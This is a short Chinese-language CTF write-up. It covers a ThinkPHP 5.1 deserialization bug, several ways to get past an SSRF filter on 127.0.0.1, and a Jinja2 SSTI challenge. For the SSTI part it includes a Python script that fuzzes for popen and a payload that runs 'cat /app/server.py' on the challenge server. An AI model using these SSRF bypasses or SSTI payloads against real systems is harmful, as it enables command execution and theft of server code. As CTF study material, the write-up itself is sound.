Web进阶2

反序列化漏洞

tp5.1.x的反序列化漏洞。

Python中的安全问题

Python里的SSRF

发现127.0.0.1被禁用,给了提示

尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag

官方wp给了多种解法

  • 0.0.0.0:8000 绕过

127.0.0.1是本机的环回地址,0.0.0.0代表本机上任何IP地址,因此可以利用0.0.0.0来绕过127.0.0.1的过滤。

  • [::1]:8000 绕过(需要支持 ipv6)

  • 重定向跳转到 127.0.0.1:8000

  • dns rebinding 输入一个域名,第一次解析到非 127.0.0.1 地址上,第二个解析到 127.0.0.1 上。

SSTI

没有WAF,fuzz一下popen函数

import requests

for i in range(512):
    password = f"%22%22.__class__.__bases__[0].__subclasses__()[{i}].__init__.__globals__"
    url = f"http://1de70960-ff51-4887-b604-2f07b94f49bc.node3.buuoj.cn/?password=" + "{{" + password + "}}"
    print(url)

    payload = {}
    files = []
    headers = {}

    response = requests.request("GET", url, headers=headers, data=payload, files=files)

    if response.text.find('popen') != -1:
        print(i)
        exit(1)

fuzz到127,直接读就行。

?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__[%27popen%27](%27cat%20/app/server.py%27).read()}}

Last updated